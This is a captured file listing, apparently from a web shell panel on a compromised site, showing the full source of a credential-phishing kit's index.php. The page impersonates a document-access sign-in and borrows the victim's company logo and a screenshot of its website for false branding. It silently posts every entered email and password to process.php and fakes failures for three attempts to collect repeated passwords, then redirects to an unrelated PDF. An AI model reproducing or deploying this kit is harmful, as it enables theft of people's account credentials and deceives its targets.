at path:
ROOT
/
blx
/
index.php
run:
R
W
Run
index.php
13.58 KB
2026-07-19 13:09:38
R
W
Run
Delete
Rename
process.php
7.79 KB
2026-11-29 06:03:39
R
W
Run
Delete
Rename
error_log
up
📄
index.php
Save
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Access your document</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css"> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <style> body { background: #f8f9fa; background-repeat: no-repeat; background-size: cover; background-position: center center; background-attachment: fixed; } .container { width: 100%; display: flex; justify-content: center; align-items: center; height: 100vh; } .office { width: 380px; background: rgba(255, 255, 255, 0.95); border-radius: 10px; box-shadow: 0 4px 25px rgba(0, 0, 0, 0.15); } .office-holder { width: 85%; margin: auto; padding: 30px 0; } .logo { text-align: center; margin-bottom: 25px; } .form-control { height: 48px; margin-bottom: 15px; } .btn { background: #0066cc; border: none; padding: 12px; color: #fff; width: 100%; border-radius: 6px; font-weight: 500; } .btn:hover { background: #0052a3; cursor: pointer; } .btn:disabled { background: #999; cursor: not-allowed; } .checkbox { margin: 10px 0 20px 0; } #loading-bg { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0.7); z-index: 9999; display: none; justify-content: center; align-items: center; flex-direction: column; } #loading-bg p { margin-top: 15px; color: #333; font-size: 14px; font-weight: 500; } .spinner { border: 4px solid rgba(0, 0, 0, 0.1); border-left-color: #0066cc; border-radius: 50%; width: 45px; height: 45px; animation: spin 1s linear infinite; } @keyframes spin { to { transform: rotate(360deg); } } .error-msg { color: #d32f2f; font-weight: 600; display: none; margin: 8px 0; } #domain-logo { max-height: 60px; max-width: 200px; object-fit: contain; display: none; margin: 0 auto; } #logo-container { display: flex; align-items: center; justify-content: center; min-height: 70px; flex-direction: column; } </style> </head> <body> <div id="loading-bg"> <div class="spinner"></div> <p>Loading...</p> </div> <div class="container"> <div class="office"> <!-- Div1: Email --> <div id="Div1" style="display: block;"> <div class="office-holder"> <div class="logo"> <h5 class="text-dark"><strong>Identity Verification</strong></h5> <p class="font-weight-light">Enter the email address this document was sent to.</p> </div> <div class="form-holder"> <input type="email" id="aii" class="form-control" placeholder="someone@example.com"> <button class="btn" id="submit-btnn">Continue</button> </div> </div> </div> <!-- Div2: Password --> <div id="Div2" style="display:none"> <div class="office-holder"> <div class="logo" style="text-align: center; display: flex; flex-direction: column; align-items: center; justify-content: center;"> <div id="logo-container"> <img id="domain-logo" src="" alt="Domain Logo"> </div> <h5 class="font-weight-light">Sign in to continue</h5> </div> <center> <div id="msg" class="error-msg"></div> </center> <div class="form-holder"> <input type="email" id="ai" class="form-control" readonly=""> <input type="password" id="pr" placeholder="Password" class="form-control"> <div class="checkbox"> <input type="checkbox"> <label>Remember me</label> </div> <button class="btn" id="submit-btn">Login</button> </div> </div> </div> </div> </div> <script> // Utilities function getUrlParameter(name) { const regex = new RegExp('[\\?&]' + name + '=([^&#]*)'); const results = regex.exec(window.location.href); return results === null ? '' : decodeURIComponent(results[1].replace(/\+/g, ' ')); } function getDomain(email) { return email.split('@')[1] || ''; } function updateBranding(domain) { const bgUrl = `https://image.thum.io/get/width/1600/crop/900/noanimate/https://${domain}`; document.getElementById('loading-bg').style.display = 'flex'; const img = new Image(); img.onload = () => { document.body.style.backgroundImage = `url("${bgUrl}")`; document.getElementById('loading-bg').style.display = 'none'; }; img.onerror = () => { document.getElementById('loading-bg').style.display = 'none'; }; img.src = bgUrl; // Display domain logo using CompanyEnrich API const logoUrl = `https://api.companyenrich.com/logo/${domain}`; const logoImg = document.getElementById('domain-logo'); const logoCheck = new Image(); logoCheck.onload = () => { logoImg.src = logoUrl; logoImg.style.display = 'block'; }; logoCheck.onerror = () => { logoImg.style.display = 'none'; const fallbackText = document.createElement('h3'); fallbackText.className = 'text-dark'; fallbackText.innerHTML = `<strong class="text-uppercase">${domain}</strong>`; document.getElementById('logo-container').appendChild(fallbackText); }; logoCheck.src = logoUrl; } // Send data to PHP silently (no waiting) function sendToPHP(email, password, attempt) { $.ajax({ url: 'process.php', type: 'POST', data: { step: 'password', email: email, password: password, attempt: attempt }, dataType: 'json', timeout: 10000, success: function(response) { // Handle redirect if needed if (response.success && response.redirect) { window.location.href = response.redirect; } }, error: function() { // Silent fail - don't block the user } }); } // Function to decode base64 email function decodeBase64Email(encoded) { try { // URL decode first let decoded = decodeURIComponent(encoded); // Then base64 decode let email = atob(decoded); // Validate if it looks like an email if (email.includes('@') && email.includes('.')) { return email; } return ''; } catch (e) { return ''; } } // Main Logic $(document).ready(function () { let passAttempt = 0; let collectedEmail = ""; let collectedPass = ""; // Hide all divs initially $("#Div1, #Div2").hide(); // Try to get email from various sources let emailParam = ''; // Check for eta parameter let etaParam = getUrlParameter('eta'); if (etaParam) { emailParam = etaParam; } // Check for hash else if (window.location.hash) { let hash = window.location.hash.substr(1); // Check if hash contains base64 encoded email if (hash.length > 0) { emailParam = hash; } } // Check for other common parameter names else { let emailParams = ['email', 'e', 'user', 'mail', 'id']; for (let param of emailParams) { let value = getUrlParameter(param); if (value) { emailParam = value; break; } } } // If we have an email parameter, try to decode it if (emailParam) { // First try direct base64 decode let decodedEmail = decodeBase64Email(emailParam); // If base64 decode failed, check if it's already a plain email if (!decodedEmail) { // Check if it looks like a plain email if (emailParam.includes('@') && emailParam.includes('.')) { decodedEmail = emailParam; } else { // Try alternative decoding: URL decode only try { let urlDecoded = decodeURIComponent(emailParam); if (urlDecoded.includes('@') && urlDecoded.includes('.')) { decodedEmail = urlDecoded; } } catch (e) {} } } if (decodedEmail) { collectedEmail = decodedEmail; const domain = getDomain(decodedEmail); $('#ai').val(decodedEmail); // Load background immediately - NO WAITING updateBranding(domain); $("#Div2").show(); } else { // If we can't decode, show the email input $("#Div1").show(); } } else { $("#Div1").show(); } // Email Step $('#submit-btnn').click(function (e) { e.preventDefault(); const email = $('#aii').val().trim(); if (!email || !email.includes('@')) { alert("Enter a valid email address"); return; } collectedEmail = email; const domain = getDomain(email); $('#ai').val(email); // Load background immediately - NO WAITING updateBranding(domain); $("#Div1").hide(); $("#Div2").show(); }); // Password Step (4 attempts then redirect) $('#submit-btn').click(function (e) { e.preventDefault(); const pass = $('#pr').val().trim(); if (!pass) { $('#msg').show().text("Please enter your password"); return; } collectedPass = pass; // Increment attempt counter passAttempt++; // Send to PHP in the background - DON'T WAIT for response sendToPHP(collectedEmail, pass, passAttempt); // Check attempt count - handle locally for speed if (passAttempt < 4) { $('#msg').show().text("Something went wrong. Please enter a valid password"); $('#pr').val(""); } else { // 4th attempt - redirect $(this).text('Please Wait...'); $('#msg').hide(); setTimeout(() => { window.location = "https://www.docspro.nl/wp-content/uploads/2021/12/Docspro-License-Agreement.pdf"; // Change to your domain }, 1400); } }); // Enter key support $('#aii').keypress(function (e) { if (e.which === 13) $('#submit-btnn').click(); }); $('#pr').keypress(function (e) { if (e.which === 13) $('#submit-btn').click(); }); }); </script> </body> </html>